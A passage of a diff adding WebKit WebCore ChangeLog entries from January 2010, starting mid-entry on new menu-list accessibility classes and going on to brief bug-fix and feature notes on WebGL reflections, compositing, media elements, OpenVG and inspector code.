+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        Add new files to project.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        If the element is a RenderMenuList, create an AccessibilityMenuList.
+        (WebCore::AXObjectCache::getOrCreate):
+        Add new types to create by role value.
+
+        * accessibility/AccessibilityMenuList.cpp: Added.
+        (WebCore::AccessibilityMenuList::AccessibilityMenuList):
+        Call the base class constructor. Assert that the RenderObject passed
+        is a RenderMenuList.
+        (WebCore::AccessibilityMenuList::press):
+        Show or hide the popup menu.
+        (WebCore::AccessibilityMenuList::addChildren):
+        Create an AccessibilityMenuListPopup. If the platform ignores its
+        accessibility, remove it from the object cache and return early.
+        Otherwise, set its parent object to this object, add it to our list of
+        children, and tell it to add its children.
+        (WebCore::AccessibilityMenuList::childrenChanged):
+        Tell our child hidden list that its children changed.
+        (WebCore::AccessibilityMenuList::isCollapsed):
+        Return whether the popup menu is visible.
+
+        * accessibility/AccessibilityMenuList.h: Added.
+        (WebCore::AccessibilityMenuList::create):
+        Adopt and return a new RenderMenuList.
+        (WebCore::AccessibilityMenuList::isMenuList):
+        (WebCore::AccessibilityMenuList::roleValue):
+        (WebCore::AccessibilityMenuList::accessibilityIsIgnored):
+        (WebCore::AccessibilityMenuList::canSetFocusAttribute):
+
+        * accessibility/AccessibilityMenuListOption.cpp: Added.
+        (WebCore::AccessibilityMenuListOption::AccessibilityMenuListOption):
+        Initialize the pointer to our parent popup menu.
+        (WebCore::AccessibilityMenuListOption::setElement):
+        Assert that the element is an <option> element.
+        (WebCore::AccessibilityMenuListOption::actionElement):
+        Return our element.
+        (WebCore::AccessibilityMenuListOption::parentObject):
+        Return our parent popup menu.
+        (WebCore::AccessibilityMenuListOption::isEnabled):
+        Return true if the element itself is enabled.
+        (WebCore::AccessibilityMenuListOption::isVisible):
+        Return true if the popup is visible, or return true if the popup is
+        collapsed but the element is selected.
+        (WebCore::AccessibilityMenuListOption::isOffScreen):
+        Return true if the object is invisible.
+        (WebCore::AccessibilityMenuListOption::isSelected):
+        (WebCore::AccessibilityMenuListOption::setSelected):
+        (WebCore::AccessibilityMenuListOption::nameForMSAA):
+        Return the <option> element's text.
+        (WebCore::AccessibilityMenuListOption::canSetSelectedAttribute):
+        Return true if enabled.
+        (WebCore::AccessibilityMenuListOption::elementRect):
+        Return the AccessibilityMenuList's rect.
+
+        * accessibility/AccessibilityMenuListOption.h: Added.
+        (WebCore::AccessibilityMenuListOption::create):
+        Adopt and return a new AccessibilityMenuListOption.
+        (WebCore::AccessibilityMenuListOption::setParent):
+        (WebCore::AccessibilityMenuListOption::isMenuListOption):
+        (WebCore::AccessibilityMenuListOption::roleValue):
+        (WebCore::AccessibilityMenuListOption::canHaveChildren):
+        (WebCore::AccessibilityMenuListOption::size):
+
+        * accessibility/AccessibilityMenuListPopup.cpp: Added.
+        (WebCore::AccessibilityMenuListPopup::AccessibilityMenuListPopup):
+        Initialize the pointer to our parent list.
+        (WebCore::AccessibilityMenuListPopup::isVisible):
+        Return false; we're never considered visible.
+        (WebCore::AccessibilityMenuListPopup::isOffScreen):
+        Return true if the popup is collapsed.
+        (WebCore::AccessibilityMenuListPopup::parentObject):
+        Return our parent AccessibilityMenuList.
+        (WebCore::AccessibilityMenuListPopup::isEnabled):
+        Return true if our parent is enabled.
+        (WebCore::AccessibilityMenuListPopup::menuListOptionAccessibilityObject):
+        If the element is an <option> element, create a list item for it, and
+        set the object's element to this element.
+        (WebCore::AccessibilityMenuListPopup::press):
+        Call our parent's press() function to show or hide the popup menu.
+        (WebCore::AccessibilityMenuListPopup::addChildren):
+        Walk the select element's children, and create list items for them. Add
+        them to our list of children.
+        (WebCore::AccessibilityMenuListPopup::childrenChanged):
+        If any of our children have been detached from the document, remove
+        them from the AXObjectCache and from our child list.
+        (WebCore::AccessibilityMenuListPopup::setMenuList):
+
+        * accessibility/AccessibilityMenuListPopup.h: Added.
+        (WebCore::AccessibilityMenuListPopup::create):
+        Adopt and return an AccessibilityMenuListPopup.
+        (WebCore::AccessibilityMenuListPopup::isMenuListPopup):
+        (WebCore::AccessibilityMenuListPopup::elementRect):
+        (WebCore::AccessibilityMenuListPopup::size):
+        (WebCore::AccessibilityMenuListPopup::roleValue):
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::actionVerb):
+        Add the menuListAction and menuListPopupAction verbs.
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        Add new roles.
+        (WebCore::AccessibilityObject::isMenuList):
+        Stubbed.
+        (WebCore::AccessibilityObject::isMenuListHiddenList):
+        Stubbed.
+        (WebCore::AccessibilityObject::isMenuListOption):
+        Stubbed.
+        (WebCore::AccessibilityObject::isVisible):
+        Stubbed.
+
+        * accessibility/chromium/AccessibilityObjectChromium.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Ignore the new object type.
+
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Ditto.
+
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Ditto.
+
+        * accessibility/qt/AccessibilityObjectQt.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Ditto.
+
+        * accessibility/win/AccessibilityObjectWin.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Allow the new object types.
+
+        * accessibility/wx/AccessibilityObjectWx.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Ignore the new object type.
+
+        * accessibility/win/AccessibilityObjectWin.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        If the object is an AccessibilityMenuListHiddenList or
+        AccessibilityMenuListOption, include it.
+
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::disabled):
+        Call ownElementDisabled().
+
+        * html/HTMLOptionElement.h:
+        (WebCore::HTMLOptionElement::ownElementDisabled):
+        Return the base class implementation of disabled, which returns
+        whether this <option> itself is disabled.
+
+        * platform/LocalizedStrings.h:
+        Declare new localized string functions.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::AXMenuListPopupActionVerb):
+        Stubbed.
+        (WebCore::AXMenuListActionVerb):
+        Stubbed.
+
+        * platform/haiku/LocalizedStringsHaiku.cpp:
+        (WebCore::AXMenuListPopupActionVerb):
+        Stubbed.
+        (WebCore::AXMenuListActionVerb):
+        Stubbed.
+
+        * platform/mac/LocalizedStringsMac.mm:
+        (WebCore::AXMenuListPopupActionVerb):
+        Call the view factory's method.
+        (WebCore::AXMenuListActionVerb):
+        Ditto.
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::AXMenuListPopupActionVerb):
+        Stubbed.
+        (WebCore::AXMenuListActionVerb):
+        Stubbed.
+
+        * platform/wx/LocalizedStringsWx.cpp:
+        (WebCore::AXMenuListPopupActionVerb):
+        Stubbed.
+        (WebCore::AXMenuListActionVerb):
+        Stubbed.
+
+2010-01-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Support reflections on WebGL
+        https://bugs.webkit.org/show_bug.cgi?id=33754
+
+        Support reflections of WebGL content, by ensuring that when the Canvas3DLayer containing the
+        WebGL content gets displayed, we correctly copy its content to the clone layers.
+        
+        Test: compositing/webgl/webgl-reflection.html
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::didDisplay): Give the didDisplay() client method a parameter
+        which is the layer that displayed.
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        (-[Canvas3DLayer display]): Override -[CALayer display], and call the client didDisplay().
+        * platform/graphics/mac/GraphicsLayerCA.h: didDisplay() takes a PlatformLayer parameter.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::~GraphicsLayerCA): We need to clear the layer owner on the content
+        layer, since we're setting it for WebGL layers now.
+        
+        (WebCore::GraphicsLayerCA::didDisplay): Handle didDisplay() calls for the content layer,
+        as well as the main layer now, getting the correct layer to copy contents from, and using
+        the correct clone map.
+        
+        (WebCore::GraphicsLayerCA::setContentsToGraphicsContext3D): Set the layer owner for WebGL
+        layers, because we need the didDisplay() callback.
+
+        * platform/graphics/mac/WebLayer.mm:
+        (-[WebLayer display]): didDisplay() takes a layer argument.
+        * platform/graphics/mac/WebTiledLayer.mm:
+        (-[WebTiledLayer display]): ditto.
+
+2010-01-19  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7555330> <http://webkit.org/b/33770> dataFunctionMatrix leaks the array allocated by toArray
+
+        Rework toArray to extract elements in to a vector rather than handing out raw pointers.  This prevents
+        callers from forgetting to free the memory, and gives them the option of using stack buffers for
+        sufficiently small allocations.
+
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::JSWebGLRenderingContext::texSubImage2D):
+        (WebCore::toVector):
+        (WebCore::dataFunctionf):
+        (WebCore::dataFunctioni):
+        (WebCore::dataFunctionMatrix):
+
+2010-01-19  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Another crazy counters bug
+        https://bugs.webkit.org/show_bug.cgi?id=11031
+
+        This patch actually provides for counter updating when the style
+        of a renderer changes.
+
+        Tests: fast/css/counters/counter-increment-002.html
+               fast/css/counters/counter-reset-000.html
+               fast/css/counters/counter-reset-002.html
+
+        * rendering/RenderCounter.cpp:
+        (WebCore::RenderCounter::rendererStyleChanged):
+        This function is added to update the counter hierarchy in 
+        response to changes to the style of a renderer.
+        * rendering/RenderCounter.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleDidChange):
+        For changes that may include the counter directives added a
+        call to RenderCounter::rendererStyleChanged.
+
+2010-01-19  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Unreviewed. Build fixes for make distcheck - missing files.
+
+        * GNUmakefile.am:
+
+2010-01-19  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33850
+        Attr.childNodes does not get updated after DOM mutations
+
+        Test: fast/dom/Attr/child-nodes-cache.html
+
+        * dom/Node.cpp: (WebCore::Node::notifyLocalNodeListsAttributeChanged): If the node is an
+        attribute, then changing it shouldn't take the shortcut that only resets a subset of caches.
+
+2010-01-19  John Sullivan  <sullivan@apple.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=33854
+        Would like a variant of WebHTMLRepresentation's searchForLabelsBeforeElement that returns 
+        more info about where the result was found
+
+        Reviewed by Darin Adler.
+
+        No new tests. This just adds a couple of out parameters for the benefit of WebKit clients.
+
+        * WebCore.base.exp:
+        Updated mangled signature for export.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::searchForLabelsAboveCell):
+        Now fills in an out parameter with the number of characters from the start of the cell.
+        (WebCore::Frame::searchForLabelsBeforeElement):
+        Now fills in an out parameter with the distance as a number of characters, and another
+        with a bool for whether the result was in a table cell above the current cell (otherwise
+        it was found in the text before this element and after the previous element or start of form).
+
+        * page/Frame.h:
+        Updated signatures.
+
+        * page/mac/FrameMac.mm:
+        (WebCore::Frame::searchForNSLabelsAboveCell):
+        Same as above. This is a parallel copy of the function using Mac-specific data structures.
+        (WebCore::Frame::searchForLabelsBeforeElement):
+        Ditto
+
+2010-01-19  Jakob Petsovits  <jpetsovits@rim.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        [OpenVG] Add (EGL) surface/context management
+        https://bugs.webkit.org/show_bug.cgi?id=33403
+
+        The foundations for a new OpenVG port.
+
+        OpenVG is not tied to EGL per se, EGL just happens to be
+        the only usable backend for OpenVG state and painting
+        at the time of writing.
+
+        The purpose of the SurfaceOpenVG class is to provide
+        an EGL-independent interface for OpenVG-specific code.
+        The EGLDisplayOpenVG class takes care of keeping track
+        of EGL displays, surfaces and contexts. It also makes
+        sure that all created contexts are interoperable, and
+        that different surfaces use a single context if possible.
+
+        * platform/graphics/openvg/EGLDisplayOpenVG.cpp: Added.
+        (WebCore::displayManagers):
+        (WebCore::EGLDisplayOpenVG::currentSurface):
+        (WebCore::EGLDisplayOpenVG::registerPlatformSurface):
+        (WebCore::EGLDisplayOpenVG::unregisterPlatformSurface):
+        (WebCore::EGLDisplayOpenVG::setCurrentDisplay):
+        (WebCore::EGLDisplayOpenVG::current):
+        (WebCore::EGLDisplayOpenVG::forDisplay):
+        (WebCore::EGLDisplayOpenVG::EGLDisplayOpenVG):
+        (WebCore::EGLDisplayOpenVG::~EGLDisplayOpenVG):
+        (WebCore::EGLDisplayOpenVG::setDefaultPbufferConfig):
+        (WebCore::EGLDisplayOpenVG::defaultPbufferConfig):
+        (WebCore::EGLDisplayOpenVG::setDefaultWindowConfig):
+        (WebCore::EGLDisplayOpenVG::defaultWindowConfig):
+        (WebCore::EGLDisplayOpenVG::sharedPlatformSurface):
+        (WebCore::EGLDisplayOpenVG::createPbufferSurface):
+        (WebCore::EGLDisplayOpenVG::surfaceForWindow):
+        (WebCore::EGLDisplayOpenVG::surfacesCompatible):
+        (WebCore::EGLDisplayOpenVG::destroySurface):
+        (WebCore::EGLDisplayOpenVG::contextForSurface):
+        * platform/graphics/openvg/EGLDisplayOpenVG.h: Added.
+        (WebCore::EGLDisplayOpenVG::display):
+        * platform/graphics/openvg/EGLUtils.h: Added.
+        (toEGLErrorConstant):
+        * platform/graphics/openvg/SurfaceOpenVG.cpp: Added.
+        (WebCore::SurfaceOpenVG::currentSurface):
+        (WebCore::SurfaceOpenVG::SurfaceOpenVG):
+        (WebCore::SurfaceOpenVG::~SurfaceOpenVG):
+        (WebCore::SurfaceOpenVG::isValid):
+        (WebCore::SurfaceOpenVG::width):
+        (WebCore::SurfaceOpenVG::height):
+        (WebCore::SurfaceOpenVG::sharedSurface):
+        (WebCore::SurfaceOpenVG::makeCurrent):
+        (WebCore::SurfaceOpenVG::makeCompatibleCurrent):
+        (WebCore::SurfaceOpenVG::flush):
+        * platform/graphics/openvg/SurfaceOpenVG.h: Added.
+        (WebCore::SurfaceOpenVG::eglDisplay):
+        (WebCore::SurfaceOpenVG::eglSurface):
+        (WebCore::SurfaceOpenVG::eglContext):
+        * platform/graphics/openvg/VGUtils.h: Added.
+        (toVGErrorConstant):
+
+2010-01-19  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Renames jni_utility and jni_utility_private to JNIUtility and JNIUtilityPrivate
+        https://bugs.webkit.org/show_bug.cgi?id=33843
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk:
+        * Android.v8bindings.mk:
+        * GNUmakefile.am:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bridge/jni/JNIUtility.cpp: Copied from WebCore/bridge/jni/jni_utility.cpp.
+        * bridge/jni/JNIUtility.h: Copied from WebCore/bridge/jni/jni_utility.h.
+        * bridge/jni/jni_jsobject.mm:
+        * bridge/jni/jni_objc.mm:
+        * bridge/jni/jni_runtime.cpp:
+        * bridge/jni/jni_runtime.h:
+        * bridge/jni/jni_utility.cpp: Removed.
+        * bridge/jni/jni_utility.h: Removed.
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: Copied from WebCore/bridge/jni/jsc/jni_utility_private.cpp.
+        (JSC::Bindings::convertValueToJValue):
+        * bridge/jni/jsc/JNIUtilityPrivate.h: Copied from WebCore/bridge/jni/jsc/jni_utility_private.h.
+        * bridge/jni/jsc/JavaClassJSC.cpp:
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        * bridge/jni/jsc/JavaStringJSC.h:
+        * bridge/jni/jsc/jni_utility_private.cpp: Removed.
+        * bridge/jni/jsc/jni_utility_private.h: Removed.
+        * platform/android/GeolocationServiceBridge.cpp:
+        * platform/android/GeolocationServiceBridge.h:
+        * platform/android/TemporaryLinkStubs.cpp:
+
+2010-01-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Occasional crash when interacting with page with reflected WebGL
+        https://bugs.webkit.org/show_bug.cgi?id=33863
+        
+        If updateCompositingLayers() was called with an updateRoot that was a reflection layer,
+        then we would determine that the layer does not require compositing, and tear down its
+        backing (without clearing replicaLayer() on the source layer's GraphicsLayer).
+        
+        Fix by changing requiresCompositingLayer() on a reflection layer to always give the
+        same answer for a reflection and its original.
+        
+        Also add various belt-and-brances code and null checks to ensure that if we ever end up
+        with a non-composited reflection layer, we won't crash.
+        
+        No new tests, because the crash depends on timing issues that are hard to reproduce in a test.
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::replicaLayer): Make this public so we can use it in an assertion.
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateBacking): Clear the source layer's replica layer
+        pointer if tearing down backing store of a reflection.
+        
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree): Null-check reflection->backing().
+        (WebCore::RenderLayerCompositor::updateLayerTreeGeometry): Null-check reflection->backing().
+        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry): reflection->backing().
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer): If being called for a reflection layer,
+        use the source layer to answer the question.        
+
+2010-01-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Some composited reflections incorrectly positioned
+        https://bugs.webkit.org/show_bug.cgi?id=33856
+        
+        When setting the position of the replicated layer inside the reflection, we need to take
+        into account the bounds of the original layer, and the replica layer to get the
+        reflection in the right place.
+
+        Tests: compositing/reflections/nested-reflection-transformed2.html
+               compositing/reflections/reflection-positioning2.html
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+
+2010-01-19  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        REGRESSION: Infinite recursion in Position::getInlineBoxAndOffset()
+        https://bugs.webkit.org/show_bug.cgi?id=33864
+        <rdar://problem/7552959>
+        
+        Regression has been introduced by changeset 53085.
+        The original fix had to be limited to editable content.
+
+        Test: editing/selection/selection-applet.html
+
+        * dom/Position.cpp:
+        (WebCore::Position::getInlineBoxAndOffset):
+
+2010-01-19  Kristian Amlie <kristian.amlie@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] Fix qmake warning with qmake in Qt for Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=33786
+
+        * WebCore.pro: Use QMAKE_LFLAGS instead of MMP_RULES.
+
+2010-01-19  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33851
+
+        Fixes an issue in the Apple Mac port where ScrollView::platformVisibleContentRect
+        returns the rectangle of the document within the content view of
+        the scroll view (i.e. the rectangle not including scrollbars) when
+        the parameter includeScrollbars == true
+
+        Currently, this behavior contradicts both the comment in ScrollView.h
+        for method visibleContentRect as well as the behavior in
+        ScrollView::visibleContentRect() for a platform-independent scroll view.
+
+        Instead, it should return the rectangle whose dimensions include
+        the scrollbars.
+
+        Also, removes some extra whitespace at the end of the lines.
+
+        No tests included because we cannot test this using either DRT
+        or a manual test.
+
+        * platform/mac/ScrollViewMac.mm:
+        (WebCore::ScrollView::platformVisibleContentRect): If includeScrollbars == true
+        then return the rectangle whose dimensions are that of
+        the frame (i.e. -[NSScrollView frame]).
+
+2010-01-19  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Fixes style in WebCore/bridge/jni/jsc/JavaClassJSC
+        https://bugs.webkit.org/show_bug.cgi?id=33819
+
+        No new tests, style fixes only.
+
+        * bridge/jni/jsc/JavaClassJSC.cpp: Modified.
+        * bridge/jni/jsc/JavaClassJSC.h: Modified.
+
+2010-01-19  Jaime Yap  <jaimeyap@google.com>
+
+        Reviewed by Pavel Feldman.
+        
+        Refactors the TimelineRecordFactory and InspectorTimelineAgent to support reporting data
+        when closing a record. Also includes grabbing the start and end line number for parse HTML
+        records as a reference use case for the above refactor
+
+        Tests updated:
+            inspector/timeline-parse-html-expected.txt
+            inspector/timeline-layout-expected.txt
+            inspector/timeline-recalculate-styles-expected.txt
+
+        https://bugs.webkit.org/show_bug.cgi?id=33853
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willDispatchEvent):
+        (WebCore::InspectorTimelineAgent::willLayout):
+        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        (WebCore::InspectorTimelineAgent::didWriteHTML):
+        (WebCore::InspectorTimelineAgent::didInstallTimer):
+        (WebCore::InspectorTimelineAgent::didRemoveTimer):
+        (WebCore::InspectorTimelineAgent::willFireTimer):
+        (WebCore::InspectorTimelineAgent::willChangeXHRReadyState):
+        (WebCore::InspectorTimelineAgent::willLoadXHR):
+        (WebCore::InspectorTimelineAgent::willEvaluateScript):
+        (WebCore::InspectorTimelineAgent::willSendResourceRequest):
+        (WebCore::InspectorTimelineAgent::didReceiveResourceResponse):
+        (WebCore::InspectorTimelineAgent::didFinishLoadingResource):
+        (WebCore::InspectorTimelineAgent::didMarkTimeline):
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        (WebCore::InspectorTimelineAgent::pushCurrentRecord):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::InspectorTimelineAgent::TimelineRecordEntry::TimelineRecordEntry):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createEventDispatchData):
+        (WebCore::TimelineRecordFactory::createGenericTimerData):
+        (WebCore::TimelineRecordFactory::createTimerInstallData):
+        (WebCore::TimelineRecordFactory::createXHRReadyStateChangeData):
+        (WebCore::TimelineRecordFactory::createXHRLoadData):
+        (WebCore::TimelineRecordFactory::createEvaluateScriptData):
+        (WebCore::TimelineRecordFactory::createMarkTimelineData):
+        (WebCore::TimelineRecordFactory::createResourceSendRequestData):
+        (WebCore::TimelineRecordFactory::createResourceReceiveResponseData):
+        (WebCore::TimelineRecordFactory::createResourceFinishData):
+        (WebCore::TimelineRecordFactory::createPaintData):
+        (WebCore::TimelineRecordFactory::createParseHTMLData):
+        * inspector/TimelineRecordFactory.h:
+
+2010-01-19 Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30883
+        [Gtk] Implement AtkText for HTML elements which contain text
+
+        Moves the text assembling functionality from getPangoLayoutForAtk to
+        textForObject, which webkit_accessible_text_get_text now falls back on
+        when it comes up empty.
+
+        Adds a check in textForObject so that we don't double-add newlines
+        when we have a BR.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (textForObject):
+        (getPangoLayoutForAtk):
+        (webkit_accessible_text_get_text):
+
+2010-01-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Adam Roben.
+
+        error events don't fire if no <source> elements passed to media engine
+        https://bugs.webkit.org/show_bug.cgi?id=33855
+
+        Test: media/video-source-error-no-candidate.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::selectMediaResource): Only bail early if
+        there is no 'src' attribute and no <source> child elements at all.
+
+2010-01-19  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33822
+
+        REGRESSION(r53273): Fixes redefinition of XFORM error when building
+        WebKit using Qt Windows with the MinGW compiler.
+ 
+        Note, MinGW has a slightly different declaration of the struct XFORM
+        from that in the Microsoft SDK. So, we need to substitute an alternative
+        typedef for XFORM when compiling with MinGW.
+
+        No functionality was changed. So, no new tests.
+
+        * platform/graphics/transforms/TransformationMatrix.h:
+
+2010-01-19  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix for crash on large TransparencyWin allocation.  The fix is
+        to leave m_layerValid false when the allocPixels of
+        OwnedBuffers::m_referenceBitmap fails.  Then TransparencyWin won't
+        attempt to use it.
+
+        Will be covered by a new unit test in Chromium's test_shell_tests (when
+        this is rolled into Chromium).
+
+        https://bugs.webkit.org/show_bug.cgi?id=33844
+
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::initializeNewContext):
+        Early return when m_referenceBitmap or its pixels is NULL, leaving
+        m_layerValid false.
+
+2010-01-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Adam Roben.
+
+        video.networkState remains NETWORK_LOADING indefinitely when no <source> element was able to be loaded
+        https://bugs.webkit.org/show_bug.cgi?id=33744
+
+        Test: media/video-source-none-supported.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadNextSourceChild): Call waitForSourceChange if
+            there are no valid source elements.
+        (WebCore::HTMLMediaElement::waitForSourceChange): New, set networkState to NETWORK_NO_SOURCE.
+        (WebCore::HTMLMediaElement::setNetworkState): Call waitForSourceChange if the movie
+            hasn't reached HAVE_METADATA and there are no more <source> elements to try.
+        * html/HTMLMediaElement.h: Declare waitForSourceChange.
+
+2010-01-19  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Adam Treat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33408
+
+        Implements an optimization to ignore fixed background images
+        (i.e. background-attachment: fixed) when a page does not contain
+        any fixed position elements so as to allow fast repaints (via bit
+        blit) when scrolling a page.
+
+        Currently, if a page has elements that specify either a fixed
+        background or a fixed position then we perform a slow repaint
+        (i.e disable blitting) so as to avoid rendering artifacts.
+        However, on low-powered/mobile devices slow repaints can cause
+        noticeable delays when scrolling a page with a fixed background
+        image. By sacrificing support for fixed background images when
+        there are no fixed elements on the page and with come care, we
+        don't need to force slow repaints and can avoid rendering artifacts.
+        Hence, on such devices we can improve the responsiveness of
+        scrolling a page with a fixed background image.
+
+        Note, this optimization is only enabled if the WebKit is built
+        with FAST_MOBILE_SCROLLING enabled.
+
+        Tests: fast/fast-mobile-scrolling/fixed-position-element.html
+               fast/fast-mobile-scrolling/no-fixed-position-elements.html
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry):
+        Disable fixed background attachment if we can blit on scroll.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
+
+2010-01-19  Dave Hyatt  <hyatt@apple.com>
+
+        Build bustage fix.  Land modified WebCore.base.exp file that includes export of currentWorld().
+
+        * WebCore.base.exp:
+
+2010-01-19  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Crash in Page::backForwardList when using History object from a detached window
+        <rdar://problem/7556252> and https://bugs.webkit.org/show_bug.cgi?id=33828
+
+        Test: fast/loader/stateobjects/state-api-on-detached-frame-crash.html
+
+        * page/History.cpp:
+        (WebCore::History::stateObjectAdded): Do an early return when detached. The spec
+          doesn't really cover expected behavior and we already do something similar in 
+          other places, such as in History::length().
+
+2010-01-19  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by NOBODY (build fix).
+
+        Revert r53467. Browser crashes on opening inspector if there
+        are messages in console.
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::databaseForId):
+        (WebCore::JSInjectedScriptHost::inspectedWindow):
+        (WebCore::JSInjectedScriptHost::wrapCallback):
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::nodeForId):
+        (WebCore::JSInjectedScriptHost::wrapObject):
+        (WebCore::JSInjectedScriptHost::unwrapObject):
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::JSInjectedScriptHost::selectDatabase):
+        (WebCore::JSInjectedScriptHost::selectDOMStorage):
+        * bindings/js/ScriptController.cpp:
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptObject.h:
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::quarantineValue):
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObject.h:
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::quarantineValue):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::V8InjectedScriptHost::inspectedWindowCallback):
+        (WebCore::V8InjectedScriptHost::wrapCallbackCallback):
+        (WebCore::V8InjectedScriptHost::wrapObjectCallback):
+        (WebCore::V8InjectedScriptHost::unwrapObjectCallback):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::wrapObject):
+        (WebCore::InjectedScriptHost::unwrapObject):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
